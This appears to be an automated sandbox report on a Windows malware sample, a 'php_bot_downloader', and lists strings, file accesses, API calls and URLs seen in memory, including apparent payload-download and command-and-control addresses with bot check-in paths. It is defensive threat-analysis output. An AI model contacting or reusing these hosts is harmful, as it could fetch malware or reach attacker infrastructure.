Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php.pdb source: php.exe, 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 00000018.00000000.2016553083.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188454449.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000002.2894997934.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_pdo_mysql.pdb source: php_pdo_mysql.dll.21.dr
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_mysqli.pdb source: php_mysqli.dll.21.dr
Source:	Binary string: sethc.pdb source: mshta.exe, 00000005.00000003.1677761143.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB139C7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842211450.000001EB13116000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1679419864.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843243271.000001EB13118000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842473193.000001EB138C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841348809.000001EB13071000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php.pdb"""UGP source: php.exe, 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 00000018.00000000.2016553083.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188454449.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000002.2894997934.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: 1D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php8ts.pdb source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp, php.exe, 0000001C.00000002.2896990047.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp, php.exe, 0000001C.00000002.2896990047.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_sysvshm.pdb source: php_sysvshm.dll.21.dr
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_zend_test.pdb source: php_zend_test.dll.21.dr

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E42110 FindFirstFileExW,

12_2_00007FF658E42110

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E22270 InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

12_2_00007FF658E22270

Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.php.net/report.php
Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.php.net/report.phpPlease
Source: svchost.exe, 00000006.00000002.2897591888.000001B97E600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E4ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://myfilebuilders.com
Source: powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://php.net/xpath
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://php.net/xpathfunctionStringInvalid
Source: php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: php.exe, 0000001C.00000002.2892874564.0000014E5D471000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp
Source: php.exe, 0000001C.00000002.2892874564.0000014E5D400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/accept.php?ref=2
Source: php.exe, 00000018.00000002.2893070291.000001E12DC00000.00000004.00001000.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892874564.0000014E5D400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/apit.php
Source: php.exe, 00000018.00000002.2893070291.000001E12DC57000.00000004.00001000.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892874564.0000014E5D456000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z3
Source: php.exe, 0000001C.00000002.2892874564.0000014E5D456000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30bE
Source: php.exe, 00000018.00000002.2893070291.000001E12DC57000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30r
Source: php.exe, 00000018.00000002.2893070291.000001E12DC00000.00000004.00001000.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892874564.0000014E5D400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/apit.phpxBdmFzdA==
Source: php.exe, 0000001C.00000002.2892874564.0000014E5D471000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/down/
Source: php_bot_downloader_v2-AVERAGE-BOI-CLN.exe, 0000000C.00000002.2016578426.00000248770AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rodgersluciecassy.com/mbp/down/php-8.2.11-Win32-vs16-x64.zip
Source: powershell.exe, 00000004.00000002.1654335033.000002A9CD591000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd-//OASIS//DTD
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.php.net/
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.zend.com/
Source: powershell.exe, 00000004.00000002.1654335033.000002A9CD5BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1654335033.000002A9CD5A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://github.com/php/php-src/issues
Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://github.com/php/php-src/issues/(
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://github.com/php/php-src/issuesbefore
Source: powershell.exe, 00000007.00000002.1757475272.000001F40C769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000005.00000003.1840043057.000001E30CCDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1888680116.000001E30CCE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885470413.000001E30CCDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.c
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.co
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D71C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com
Source: mshta.exe, 00000005.00000002.1888633604.000001E30CCBF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/P
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Pr
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Pro
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Prof
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Profe
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Profes
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Profess
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professi
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professio
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Profession
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professiona
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_S
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_So
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Soc
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Soci
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Socia
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_M
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Me
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Med
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Medi
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_R
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Re
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Rep
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Repo
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Repor
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Report
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Report.
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Report.p
Source: powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Report.pd
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/Professional_Social_Media_Report.pdf
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/p
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/ph
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_b
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bo
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_d
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_do
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_dow
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_down
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downl
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downlo
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloa
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_download
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloade
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-A
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AV
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVE
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVER
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERA
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAG
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-B
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BO
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-C
